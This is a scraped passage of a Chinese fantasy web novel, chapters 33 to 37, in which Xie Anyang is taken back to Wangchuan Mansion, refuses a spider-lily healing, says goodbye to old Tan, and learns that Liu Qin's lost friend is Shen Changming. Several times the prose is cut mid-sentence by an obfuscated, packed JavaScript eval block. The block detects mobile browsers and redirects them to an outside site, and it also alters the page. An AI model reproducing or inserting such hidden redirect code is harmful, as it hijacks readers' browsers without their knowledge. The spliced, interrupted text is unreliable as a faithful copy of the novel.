“我他妈……”王鹤青憋了一会,才从齿缝里挤出一句,“我听说他是忘川府二十多年放走的恶人,而今罪责难逃,你还不满意?” “为什么要满意?”谢安阳一脸莫名其妙地反问:“你说得对,我就是处心积虑,可我处心积虑,为什么当初不直接把他交给刘钦呢?” “你什么意思?” “神罚结束,他还会照常进入轮回,这怎么能解气呢?我处心积虑,不是为了让他只受神罚这么简单。他的债还没还呢,怎么能够?” 王鹤青:“你要干嘛?” 谢安阳冷冷地说:“我要他从这个世界上消失!” 33. 攻心(七) 后来大门被人砸响了,来人相当没有礼貌,“王鹤青,滚出来。” 两人适时地闭嘴了。 王鹤青耸耸肩,“得,债主来了。” 债主不是别人,这标准的臭脾气,除了刘钦还有谁? 谢安阳就有点紧张,还有点心烦意乱:“跟他说我不在。” 王鹤青白他一眼,“你觉得他会信吗?” 王鹤青打开房门,客客气气地打着招呼:“哟,稀客,见过南园掌事了。” 刘钦往里瞅了一眼,刚好与谢安阳目光相对,脸色顿时跨了下来,“你们在干什么?” 谢安阳看他就不太顺眼,毫不客气地怼了回去,“关你什么事?” 刘钦出乎意料没跟他计较,就搁下一句,“跟我回忘川府。” 谢安阳想也没想就拒绝了,“不去。” 刘钦抬手将门外的一堆差使招了进来,冷冷地扔下一句,“要么你自己走,要么他们拖你走。” 谢安阳目光触及差使手上的锁链,可能是想到了从前的梦魇,身体不由自主地打了寒颤。他还是不太情愿,就将求救的目光投向王鹤青。 王鹤青顿时明了,张口就想替他求情,谁知刘钦注意到他俩之间的小动作,率先打断了王鹤青的话音,“往生殿是地府界内直辖区,不归忘川府管,但也管不到忘川府的事!” 王鹤青被怼得哑口无言,只好看向谢安阳说:“没办法了,安阳你还是乖乖受死啊呸接受命运的制裁吧。” 谢安阳:“……” 刘钦可能是有什么急事,还没来得及等谢安阳变态,上前拉上他就走。 关键是拉就拉吧,力道还不小,谢安阳疼得直嚷嚷,“你俩有病吧,痛啊——” 这俩人的脑壳绝对有包。 一路上刘钦都没吭声,带着他直奔忘川而去,抵达“枉死城”界碑处还不肯松手,谢安阳试着挣扎了几下,“轻点轻点!” 谁知刘钦还没松手,反而嘲讽他:“你也知道疼,你挡箭的时候不是很英勇吗?” 谢安阳:X﹏X我恨你们所有人。 刘钦又用力将他推搡上了船,“你的事儿还没完,等城主回来定夺,你先跟我回忘川府南园住几天,再闹出乱子,你就完了。” 果然还是要让他待在南园,他有些心烦意乱,便也冷了口气,“随便你,反正刘掌事铁面无私,什么都做得出来。” 刘钦又不高兴了,丢开他,恨铁不成钢地说:“有时候真的很想把你这张嘴缝起来。” 谢安阳不以为意,兀自找了个角落席地坐下,才问:“你着急拉我出来干什么?” 刘钦说:“你要不要再想想你忘了什么事?” 谢安阳又感到莫名其妙了,这群人向来不说人话,便一脸无所谓地说:“想不出来,你直说吧。” 刘钦瞪他一眼:“今天是谭爷爷去轮回境的日子,他在枉死城吵着要见你。” 谢安阳这回愣住了。他着实没想起来这回事。 主要是突然知道了沈长鸣的事,为了追求所谓的真相,很多不重要的事都抛诸脑后了。 说到底,他与谭爷爷并不熟悉,他俩能相识还是初见时,拉着他喊儿子,后来也就习以为常了。 非要论所谓亲情的话,他觉得是没有的,最多是对长辈的尊重和对阿尔兹海默症患者的怜悯。 总之,他没怎么把这件事放心上。 难怪刘钦也不让他在往生殿养伤,本来他还指望躲个清闲,以免刘钦总找他麻烦,现在看来好像躲不掉了。 他瞄了一眼刘钦,感觉牙疼,不想说话了。 两人之间陷入了沉默,谢安阳终于得空打量船上的人,上面又是一批即将去忘川府报道的新人,可是人群里却有个熟悉身影。 谢安阳扒开刘钦,看向船尾,试探地唤了一声,“小植!?” 天植本来被几个差使带着,正在人群里挨个找着什么,突然听到谢安阳的声音,霎时间又惊又喜,便扒开人潮挤了过来,“哥——” 天植凑近了,看到谢安阳满身是血,吓得奔了过来,还一把推开了刘钦,她面容看起来沉静,试图去堵谢安阳伤口的手却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来是刘钦看谢安阳胸口的绑带又渗了不少血,忍无可忍拎起她到一边,让人把谢安阳带走了。 而小植仍拼命守在谢安阳身侧,怎么也不让刘钦碰他,刘钦还想故技重施拎开她,她竟发起攻击,一口咬在了刘钦手臂。 毕竟是个小姑娘,刘钦不可能真动手,别无他法,只好随她一起等候谢安阳苏醒。 34. 攻心(八) 谢安阳睡梦中总听到耳畔有人在说话,相当聒噪,听不清他们在说什么,反正就是吵得慌,想睡个好觉都不行。 过了许久,他才于模糊中听清郑康那老狐狸的声音:“你这下手没轻没重的,他来自枉死城,虽说死不了,可身体还是会痛。” 刘钦略带愧疚地说:“我没想到这小子会那孙子挡,也不知道那孙子给他灌了什么迷魂汤。” 郑康说:“实在不行你把他衣服脱了,给他种彼岸花,正好他心口不是有个窟窿吗,用彼岸花给他修复。” 刘钦没接话。 郑康就问:“为什么犹豫?” 刘钦声气低了许多,“这小子心里别扭,最怕别人看到他伤口,这样不太好吧。” 郑康说:“他的伤口已经不缺这一道了。” 紧接着,小植突然尖叫了一声,“不许你们碰我哥!” “……” 谢安阳感觉左手腕被人握住了,他受惊似的猛然睁开眼,下意识拼尽全力抽回手,才看清楚抓他手的人是小植。他深深呼了口气,见郑康手中端着一个盒子,里面正有朵发光的彼岸花。 刘钦正作势给他解衣物,还在旁边阴阳怪气:“还活着呢?” 谢安阳立马往后躲开,抬手做防御状,“你们要干嘛!?” 刘钦很无语:“大男人别扭什么,让我不得不怀疑你有问题。” “?” 谢安阳憋了许久,才怒骂一声:“你才有问题!” “心口不疼了?” 经过他这一提醒,谢安阳总算想起心口被一箭洞穿了,其实已经没有之前疼了,但他还是装腔作势地捂住心口哼唧起来,“刘钦,少爷我跟你没完,你给我等着!” 他表现得太过浮夸,刘钦知道他是故意装出这样子的,但疼肯定是真疼,他来自枉死城,还是凡人之躯,怎么可能不疼。 刘钦没骂他浮夸,软了口气说:“对不住了,那一箭没想冲你去。” 谢安阳有点懵,就捂住心口往后躲,“吴桉呢?” 刘钦无奈地看看郑康,郑康也是没忍住骂道:“你真是蠢到家了!你知不知道他手上有人命,就算我枉死城留他,你以为地府的人会放过他?” 谢安阳格外坚定道:“无论他做了什么,他是我朋友,这段时间相处下来,我坚信他不是坏人!” 刘钦对郑康说:“都说他被那孙子迷了心窍,您还不信?” 郑康没在意,将盒子里的彼岸花递给他,“行了,把这朵彼岸花种在他身上,他身体就能恢复如初了。” 然而谢安阳却拒绝得很干脆,“少爷不要!” 刘钦说:“谢安阳你别给脸不要脸,种下彼岸花,你的身体就能得到修复,也不会再感到疼痛,你不是最害怕别人看到你伤口吗?” 谢安阳说:“少来,这玩意是终身契,一旦签下就得终身待在这里,想困少爷永生,不可能!” 郑康却说:“你是枉死城少主,早晚得种。” “我没同意!” 谢安阳冷着脸往后躲,可能是心口牵扯疼了,他“嘶”了一声,痛苦地皱着眉:“我警告你们别碰我,否则我转头就去跳忘川!” 虽然平时谢安阳老是不着调,但二人相信他说到做到,便不敢轻举妄动了,郑康也是一拂袖,冷哼一声,负手背对着他俩。 刘钦只好将彼岸花封进盒中,又瞥向他心口泛红的绑带,刀子嘴豆腐心地问:“这事儿算我欠你一份人情,你有什么心愿,我可以许你。” 谢安阳这就眉开眼笑了,“一言为定,先欠着吧,记得还!” 刘钦:这小子好歹装着推脱一下啊。 谢安阳轻哼一声,“其实这种伤在枉死城很常见,两三天就不疼了,不过还是要谢谢你的愿望。” 刘钦突然有点后悔。无言以对地看向郑康。 郑康:“别看我,你自己答应的。” 谢安不高兴了,“好你个刘钦,想说话不算话是不是?” 刘钦没好气地说:“你最好给我提个正常的要求。” “放了吴桉?”谢安阳试探地问,唯唯诺诺地等待着答案。 刘钦还没说话,郑康先嚷嚷了一句,“陈拓手上有人命,法必不容他,你要是没想好,这个愿望就收回吧!” 谢安阳秒怂,还睁着水汪汪的大眼睛:“刘钦哥哥,你怎会忍心看我白挨这一箭……” “好好说话!别恶心老子!”刘钦抖掉一身鸡皮疙瘩,“不然真收回了!” “好的钦儿哥。”谢安阳非常自然地接了一句。 “谢安阳你找死!!” “行了,他醒了就行,界内还有事,我还得去一趟。”郑康就看不得他俩拌嘴,转身走开了。 刘钦默默作揖:“恭送城主!” 眼见城主离开了,这个房间就剩下他们三人,谢安阳便问刘钦:“你们准备怎么处置吴桉?” 刘钦日常瞪他:“在等地府界内派人来接。” “那地府会怎么罚他?” “地府有个规定,所有作下恶事的人都会被梦魇心魔困住,他们犯下的罪行终会成为回旋镖,打到他们身上。” 谢安阳:“你们地府的善恶是怎么定义的,仅仅是手上是否沾染人命吗?” 刘钦:“……目前是这样,只有沾上人命,地府的法才能定罪。” “手上有人命则被定义为恶,那若执法者手上沾染人命呢?” “这……倒是不清楚,法是人制定的,总会有欠缺,但会尽力公正。” 谢安阳淡然一笑,“按照地府对善恶的定义,花田的人何其无辜,又怎么做到尽力公正?” “你为什么会有这种想法?”刘钦觉得他这个念头就有点离谱。 谢安阳打了个哈欠,随口说:“既然法为天,我认为世间最大的恶应该是引导人犯法。” “?” 谢安阳也不知道想到了什么,竟开始侃侃而谈:“举个例子。要是你我有某种深仇大恨,我绝不会冲动到提刀杀了你,因为最坏的可能是两败俱伤,而最好的方式是引导你触犯那条红线,借执法者的手来解决你,那样会更有意思。而用你的话说,我仍旧是无辜之人。” “你在说什么胡话?”刘钦眉头紧皱,总觉得他这个想法有点危险,幸亏城主没在,否则这小子挨骂都是轻的。 谢安阳并不在意,继续解释说:“世间法则,弱肉强食,欺软怕硬,于我的仇人来说,我是那个软弱可欺,而他怕的正好是执法者。听过食物链么,某种意义上说,我的力量在底端,他能将我踩在脚下,也会被人踩在脚下,我不过是在利用顶端的人来踩他罢了。” 刘钦有点想不开,忍不住问:“那你怎么保证执法者一定会杀了他?” “简单,让他触碰的红线足够深,哪怕引导他亲手杀我,用你们地府的法来说,只要人命够多,足够让他担不小的责。” “弯弯绕绕,你还不如直接杀了他!” 谢安阳却摇摇头,“你知道世间的人为什么总是欺软怕硬吗?你让一个文人去与练武的人决斗,你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘钦气得话音都在颤抖:“你等着,就算地府放过吴桉,我忘川府也必不会放过他,我们让你远离人间恩怨,他倒好,拼命把你往火堆里推!他手上本就有数条人命,让我看看他教你说出这种话的居心何在!!” 刘钦说完转身就走,谢安阳意识到不对劲,也跟着起身下了床,“你想干嘛,刘钦你站住!” 刘钦气愤的话音渐行渐远:“干什么?当然是让他交待这些年在你身边的目的,他手上本就有人命,地法规定对付这种可用刑,放心,我会让他交待的!” “你敢!你这是屈打成招!”谢安阳爬起来想要拦住,奈何胸口疼得难受,追得太急,一不小心竟往前栽去,手上也蹭破了块皮,他没在乎,艰难地爬起来,却发现刘钦已经走远了。 他没再往前追,而是收敛了情绪,随后轻轻地扶着蹭破皮的手掌,唇畔也露出了一丝笑意。 没过多久,他掌心的伤口竟一点点愈合了,丝毫没留下疤痕。伤口越小,好得越快,还真有些苦恼,幸亏刘钦离开早,否则秘密就被发现了。 谁知一抬眼,却发现天植正面无表情地望着他,气氛顿时有些诡异,他再次恢复了嬉皮笑脸。 天植软软地问:“哥,疼不疼?” 谢安阳深吸一口气,只说:“我们走吧。” 天植有些犹豫,看他伸出手,迟疑了几秒后,上前抓住了,然后问:“哥,我们去哪?” 谢安阳兀自牵着她走在前头,漫不经心地回答:“去找谭爷爷道别。” 天植:“哦。” 35. 攻心(九) 银杏树下有个躺椅,繁茂的林叶投下一片林荫,凉爽而又舒适。 谭老头正闭目在躺椅上睡觉。 谢安阳牵着小植慢吞吞地走过去,试图看看谭老头是不是真睡着了,谁知后者突然睁开了眼睛。 谢安阳就有点尴尬:“谭爷爷。” 谭老头浑浊的目光里透着几分惊喜,出口时的话音又带了些许敬意:“大少爷?” 什么玩意?? 这老头又犯病了? 谭老头却没在意自己说了什么,起身拉着他的手往一侧走,口中还不忘碎碎念叨:“大少爷,要下雨了,走,我们回家去!” 好耳熟的一句话。 “谭爷爷,您不管您儿子了?”谢安阳问完,冲天植招招手,示意她跟过来。 谭老头糊里糊涂地说:“对……对,大少爷想去参军,保家卫国……可是……他回不来了……他回不来了。” 谢安阳心中一震,反抓住他的胳膊问:“您口中的大少爷叫什么名字?” 他本来很害怕听到熟悉的名字,谭老头却没打算回答他,兀自走到一旁,端过一盘饺子,二话不说,抓起饺子怼到了谢安阳面前。 谢安阳吓得往后躲,谭老头顿时有些失落地说:“儿啊,我给你留了饺子,你吃啊,你怎么不吃?” 谢安阳余光觑着四周,没瞧见什么动静,就抓着谭老头的手臂,压低声音说:“我不是你儿子,我是你口中的沈大少爷,你快说,你跟他什么关系?” “沈……大少爷啊,还有二小姐……”谭老头愣了一会,又疯疯癫癫地摇摇头,继续将饺子递到了谢安阳面前:“儿啊,你吃……” 估摸着是问不出什么了。 谢安阳有点不耐烦,突然想起很多年前蹭在他梦里喊“大少爷”的中年人,一时间心软了,几乎想要张口吃下饺子,却在这时候,小植突然扯了他衣角一下。 谢安阳觉察不远处有人靠近,再转身又一副嬉皮笑脸的姿态:“钦儿哥,你也跟谭爷爷有渊源吗?” 刘钦抱着胳膊冷哼一声。 谢安阳脸色冷淡下来:“那你跟过来干嘛?碍眼?” 刘钦难以置信地抬起头:“谢安阳,我是不是给你脸了?” 谢安阳秒怂,摆摆手,“别闹了,不是要送谭爷爷去轮回嘛,这就走吧。” 刘钦没吭声,走在前面带路,谢安阳就领着谭老头跟在后面,天植也默默地揪住他的衣角走。 刘钦看也没有看他们,把人都遣散了,还不忘碎碎念叨:“等送走谭爷爷,你就好好交代清楚你的事。” “你还是不相信我。” “原本我是信你的,可近来好多事情你都掺一脚,你是枉死城的人,怎么就那么巧惹上那么多事,你让我怎么信?” “那你查吧,我看你能查到什么。” 刘钦冷笑:“用你说,我自会去查,你要是真做了什么,别说是我,城主也不会放过你。” 谢安阳也赌气说:“随便你。” 刘钦瞄了一眼天植,又说:“放心,他们在枉死城给小植安排好了,往后她会跟岑欢住一起。” 谢安阳这回真心实意地笑起来:“多谢?” 刘钦很无语:“用不着!” 就在这时候,杨洵突然匆匆走了过来,小植吓得往谢安阳身后躲。 杨洵神色复杂地看看谢安阳,而后在刘钦耳畔耳语了几句话。 刘钦神色有些凝重,转头对他说:“城主回来了,想见你。” 谢安阳:“啊?” …… 郑康说:“安阳,我想清楚了,你尽快去人间历练一趟吧,来时不必再喝忘川水,直接候选城主。” “有这好事?”谢安阳有点难以置信,“有点太突然了,我还没准备好。” “你一生过去最长也有百年了,忘川府等不了你这候选人。”郑康叹气一声,“你这性子太软了,又容易被骗,说好听是单纯,难听点就是蠢。” 谢安阳就没忍住:“……你说归说,怎么骂人呢?” “我说错了吗?” “你们就天天打击我,还让我听你们的?” 郑康却认真地说:“安阳,老夫当初看中的就是你心怀赤诚,但也善良得过分了,你有没有想过,你放了吴桉,吴桉手上的人命答不答应,那几条人命何其无辜!?” “那他杀了什么人?万一是恶人呢?” 郑康看他一眼,有意转移话题说:“这是机密,你不必知道,总之你要明白,作为城主要能明辨是非,而不是感情用事。” 谢安阳笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496519|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着抱怨:“我困在这四方天地,你要我如何学着明辨是非?我没有前生记忆,我不知道为什么法会那么重要,也不知道吴桉到底害了什么人,只知道他是我的朋友,可现在他有危险了,我直觉他需要我!” 郑康许久才下定决心似的,说道:“你尽快去人间吧。” “?” “你这性子需要磨炼。” “咦。” “还有,你得答应我,勿忘初心——你若在人间行恶,再回到枉死城别说城主候选人,就是枉死城你进不去。” 谢安阳立马假模假样地一拱手,“多谢城主大人。” 郑康冷哼一声,拂袖离开了。 谢安阳看他走了,立马高兴得合不拢嘴,还拉着刘钦叨叨:“你们早该让我去人间了,看来这一箭没白挨。” 刘钦就忍不住说:“枉死城不好吗,对比人间来说,那里就像是桃花源,你为什么总是不愿留在枉死城?你就那么向往人间吗?” 谢安阳笑了:“可我不知道人间什么样,人对未知总是充满好奇和美好幻想,不是吗?” 刘钦哑口无言,只好看了看他心口,“没事吧?” 谢安阳立马装出很疼的模样,“啊,疼。” “你这么浮夸,不知道的还以为你真的不疼。” 谢安阳愣了一下,随即敷衍地笑了笑,又问:“那小植呢?” 刘钦说:“等你去到人间,她会正常生活在枉死城,阳间寿命结束再去轮回。” 谢安阳思索了一会,看向刘钦:“你会替我照顾小植的吧?” 刘钦白他一眼,没接话。 谢安阳就笑:“你肯定会的。” 刘钦又说:“城主的意思是,你这几天收拾收拾就走吧。” 谢安阳接着问:“那你……不怀疑我了吗?” 刘钦却别开眼,淡声说:“已经不重要了。” “真的吗?” 刘钦很烦躁:“城主说了,我们的目的是吴桉,无论你是否参与其中,至少我查清了,洪磊的事的确与你无关。” “那你还相信我吗?” 刘钦认真地与他对视,表情严肃地说:“不相信。” 谢安阳被看得一阵心虚,手指下意识蹭了下鼻尖,偏开头说:“爱信不信。” 36. 道别(一) 谢安阳回去后顺道将天植送到了岑欢那里,如林朝所言,她很喜欢小姑娘,他总算放心了。 可能是心里的石头落了地,回去的时候闲庭信步,等到家的时候已经很晚了,没想到刘钦竟提了坛酒候在那里,也不知道候了多久。 谢安阳愣了一下,问:“你来多久了?” “刚来,赶紧开门,”刘钦气愤地丢下一句,“找你喝酒,喝个痛快,好好睡一觉,然后上路。” 这话乍一听还好,仔细琢磨不得,越琢磨越品出不吉利来。 “你只是为了找我喝酒?” “你跟王鹤青那档子事我不想了解,还望你以后洁身自好。” “你有病吧?” 谢安阳突然反应过来以前王鹤青好像跟他说过什么,“王鹤青跟你说过什么?老子去杀了他!” “不然我信你?”刘钦冷笑一声:“你有几句话真几句话假?” “……” 刘钦将酒放到桌上,自来熟地坐下,“从认识你到现在,你对我说的话半真半假,我一开始是能分清的,虽然你这人平时不着调,但正事上还是会认真的吧,后来才发现,你真撒起谎来,我根本辨不清。” 得了,又多了个病患。 谢安阳只好说:“我有个梦想,准备下辈子实现。” “什么?” “我要当精神病院院长!不然谁来管你们!?” “……” 刘钦烦躁地喝了口酒,含含糊糊地说:“有个事想请你帮忙。” 谢安阳趁机问:“有没有人教过你,求人办事要送礼?” 刘钦:“有没有人教过你,礼尚往来,你别忘了天植怎么进的枉死城!你下次回到地府会经我手处理档案,信不信我随手就能给你档案划一笔?” “好的钦儿哥,有什么需要帮忙的,万死不辞。”谢安阳默默微笑。 刘钦也是回忆起了往昔:“我有个朋友,那会好像是在道观认识的……” “男的女的?” 刘钦瞪他一眼,“知交好友。” “哦~” “那会儿我们是最好的朋友,不过现在过去很久了,他已经转世了,我还亲自送他去轮回。” 谢安阳也给自己倒酒,没心没肺地接话:“你是想跟他再续前缘?可是你不是有个小青梅嘛?” 刘钦这就炸了,“你听谁说的?老子就这么个朋友,哪来的小青梅?!谢安阳你活腻了!!” 谢安阳手指蹭蹭鼻尖,“城主说的,合着你那个至交好友就是小青梅啊?” “滚。” 谢安阳问:“天地这么大,你让我往哪找去?” “他转生在成都……那个地方好像叫……青城山。” “你这小青梅还出家啊?” “你会不会说话,道家和那些和尚能一样吗?还有,他是个男人,不是小青梅!” 刘钦还有点沉浸在回忆里:“我和他相识于北平,后来……” 他突然想起旁边有个狗,于是不想说了,还翻个白眼,“他现在肯定不记得我了,但我还是想让你替我把一样东西转交给他,这是我与他的信物。” “什么啊?” 他掏出一块玉璧递到谢安阳面前,谢安阳一时有些震惊,“这玩意一模一样的我能刻一百块。” “你刻。” “……” “老子找人盯着你刻,刻不满一百块一模一样的,但凡有点瑕疵,老子弄不死你。” “……错了钦儿哥,要带什么话?” 刘钦再次一本正经了,还认真地琢磨起来,“这倒是没想过,他已经不记得我了,我也不知道该说什么。” “那别说了,反正我也记不住。” 刘钦继续沉浸回忆中,把他的话当个屁放了,干脆走到一旁的书桌前,翻出一张信纸和钢笔写信。 谢安阳顺其自然地凑过去坐到桌子边上,贱兮兮地倾身凑上去看,还顺口念了出来:“长鸣,见字如晤,展信佳。别来良久,甚以为怀……” 他第一反应是:咦,好恶心。 第二反应一回味:长鸣!!! 刘钦翻个白眼,他则有些念不下去,抿了口茶水,小心翼翼地问了句,“你这小青呸挚交好友全名是什么?” 刘钦看了一眼他的坐相,面无表情:“滚下来。” 谢安阳默默起开。 刘钦这才瞪他一眼,“我认识他的那一世,他叫沈长鸣,这一世……” 他还说完,突然被谢安阳喷了一脸茶水,信纸也被茶渍染黄了。 谢安阳手抖了一下,感觉自己惹祸了,默默地往旁边挪。 果不其然,刘钦抹了把脸后就炸了,抓起茶杯毫不留情朝他砸了过去,被他躲了之后,气急败坏地骂:“谢安阳,我要杀了你!!” “你再砸我,我不帮你忙了!!”谢安阳一边躲,还将手中的玉璧扬了起来,作势要摔。 “你干什么!”刘钦这回冷静了,“把东西放下,我不砸你了。” “我不信,你发誓!” 刘钦也不知道是怎么摸的,突然摸到了桌案上的貔貅镇纸,谢安阳惊呼一声,“慢着!不兴用这东西砸人的啊!” 刘钦强忍着情绪,好歹把镇纸扔掉了,还抬了下掌心,掌心一道轻微的荧光浮现,“你要真摔了,我请你喝一年忘川水。” 谢安阳秒怂,默默给他收好,“执法大人,我错了。” “消消气,给你送还不行吗?”谢安阳好脾气地倒了杯酒凑过去,不忘防着他突然砸人,“你方才说他叫什么来着!?” “沈长鸣。” 谢安阳就突然有点害怕,一想到自己说的“再续前缘”,特想扇自己两耳刮子——这嘴不贱就难受。 刘钦看他神色不对劲,皱眉试探地问:“几十年前的人了,你难道认识!?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496520|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢安阳默默安慰自己:肯定是同名同姓。 谢安阳晃了晃手里的玉璧,故意转移话题:“你说有没有一种可能,他压根不记得这玩意了?” “记不住就算了,就当是归还给他了。” “不是,他当初是给你干嘛的?” “让我去当铺当掉做路费,我还没来得及当掉,就死在了半途。” 没有别的意义就好,吓他一跳。 刘钦继续回忆:“后来才得知,他家中也出了变故,甚至走在我之前。” 谢安阳压根没心思听,手指摩挲着玉璧的纹路,忍不住问:“这不会是传家宝或是什么贵重的东西吧?” 刘钦说:“当然不是。当时离别匆匆,沈大少爷身上银元不多,就把随身佩戴的玉璧给了我。这种东西他多的是。” “多的是就好。” “问这个干什么?”刘钦继续盯着他。 “我应该怎么找到他?” “他上一世是轮回在成都,你不用刻意找他,等到了人间,他若是在附近,玉璧就会出现荧光。” 谢安阳手又抖了,感觉这玩意烫手,“现在会不会有反应?” “不会,这本就是人间的东西。” 谢安阳暗暗感叹幸好。 刘钦眉目挑了起来,“你怎么了?” “说起来,这个沈长鸣是个什么样的人?” “沈大少爷啊,是个君子端方的人。” 谢安阳拿腔捏调地学舌:“沈长鸣是个君子端方的人~” 刘钦忍了老半天,咬牙切齿地继续说:“我们还商讨过救国之策,可惜物是人非,还记得……” “打住,你俩那点事我也一点都不想听!” 刘钦看到谢安阳就烦,也不想说了,于是继续写信。 “他不该是个恶人吗?”谢安阳话语中也略带了试探,否则老城主又怎么会忽悠他签下问心契。 “你以为人人都跟你一样?” “建议你收回这句话,我怕你后悔。”也不知道刘钦若是知道他前世就是沈长鸣,心态得崩成什么样。 “那他什么时候死的,又是什么时候去轮回的?” “1932年吧,我们分别后不久,后来重逢在忘川府。我应该是1974年送他去轮回的,照理说他现在应该是二十四……”刘钦没往下说,而是下意识看向了谢安阳,“他今年应该是跟你一样的年纪。” “哥,我二十二。” “你要是正常活下去的话,今年就是二十四。” “好吧。” 刘钦又自言自语了一句:“有时候我真是疯了,居然会怀疑你是沈长鸣。” 谢安阳还没来得及说什么,又听他继续阴阳怪气,“沈大少爷是个君子,不可能是你这混账。” 谢安阳:“曰。” 刘钦没听清:“你说什么?” “没什么。” 37. 道别(二) “我发现你们忘川府很多人都知道沈长鸣,他对你们来说是什么?” “你眼前这座忘川府就是他带人仿照样式雷的风格修建的,自然受人敬重。” “是敬重?我怎么感觉像是忌惮?否则为什么时隔二十四载,沈长鸣三个字连提都不能提?” 刘钦这就急了,“你懂个屁。” “你看,他去了哪里你都不知道。” 刘钦憋不出话来,顿时有点不甘心。 谢安阳继续笑吟吟地问:“你呢,在你眼里,他是什么样的存在?” 刘钦酒喝多了,忍不住说出一句话:“他……对我来说很重要。” 谢安阳嗤笑了一声,“所以城主说你忘不掉的小青梅就是他吗?” 这回刘钦没再反驳,只淡声说:“他值得。” 谢安阳:“我觉得这个世界好乱啊,无论是人间还是地府,又或是从古至今,明月还是那轮明月,世道还是那个世道,只不过人们一遍遍地轮回,外表变了,就让人有了误解。” “什么外表?” “怎么说呢,现代有了科技,就像给原本的世道镶了边,反而让一些人觉得好像事物的本质也跟着变了。” “说人话。” “就好比枉死城之于地府,你们为什么会认为他们被清除记忆,就能将枉死城打造成桃花源?只要有人的地方,世道就会在,如果世道变了,那一定是行尸走肉,没有意义的。” 刘钦忍不住白他一眼,“所以呢?” 谢安阳平声静气地说:“你看,枉死城把好人与恶人分了开来,他们把执念不散的人定义为有害的人。可是这世间哪有绝对的好人与坏人。都说人无完人,只要是人,品德一定会有瑕疵,只要相对的好与坏。可是忘川府擅自清除他们的记忆,还平白将一部分人定义为恶,我觉得不合理。” 刘钦眉头皱了起来,耐着性子解释:“曾经有人因为恩怨闹起来了。” 谢安阳问:“枉死城不是有法吗,人间都得遵纪守法,那地府也该效仿,出现了危害的人一律神罚,谁说得清枉死城中的人就不会危害别人,他们只是看起来无害,并且还没有做过恶事罢了。” 刘钦这回没再翻白眼,而是坐正了身子,一言不发地看着酒坛。 看他发呆,谢安阳继续补充说:“我要是城主,我就不会清除他们的记忆,或者直接让他们去轮回,我觉得枉死城就不该存在,还不如直接去轮回。” 刘钦挑眉问:“你为什么突然这么想?” 谢安阳淡笑一声,“人活得腻了,就觉得每条生命都那样弥足珍贵,哪怕是一只蚂蚁,也在挣扎着活,人也算吧,小小的,说不定哪天就突然消失了。” 刘钦说:“那如果……你是枉死城城主,你会怎么做?” 谢安阳认认真真地轻声说:“我会把人间那套律法沿用进枉死城,其实的律法并不算完善,但是足够维持秩序了,我不会再让他们喝忘川水。这世间不是所有人的执念都是不好的,也有许多难以忘怀的人和事。你们觉得他们会把恩怨带进枉死城,可是有人的地方总会是人间,人性本恶,只不过还没做出实质的事情来罢了,没有能保证进入枉死城的人就会一定是好人,只要是人,总有观念不相合,就总出现恩怨不休的,这才是本质,而不是什么生前的仇啊怨啊。” 刘钦喝醉了,忽然一指他,“你这番话,很多年前,沈长鸣也说过类似的,可惜物是人非……罢了,你不要再说了,被城主听到,他会不高兴的。” 谢安阳默默抱怨:“我又不怕他。” 刘钦没搭理他。 谢安阳忽然又说:“刘钦,我有个请求。” “不行。”刘钦丝毫没有犹豫。 谢安阳问:“你知道我要问什么?” 刘钦表情一度有些严肃:“跟你说过多次,他手上有人命,不止是在人间时手上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496521|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人命,在忘川府时也伤过人。” 谢安阳说:“我不求情,我想见他一面。” “行啊,但我得全程陪同,否则你又得出幺蛾子。” 谢安阳笑着说:“我就是想问他,为什么要把装有忘川水的酒给我,我不相信他会害我。我不明白,这些年他待我明明就是真心实意的朋友,怎么就突然……我不肯信,我知道你不会骗我,但是我还是想要个答案。” “你不会……做别的吧?”刘钦酒有点犹豫。 “你让我单独见他吧。” 刘钦冷笑一声,扔下杯子起身离开,还不忘扔下一句,“不可能。” “也罢。”谢安阳看刘钦走远了,连忙抱怨说:“让你跟着,行了吧?” 刘钦却突然没头没尾地问:“安阳,你不会走歧途的吧?” 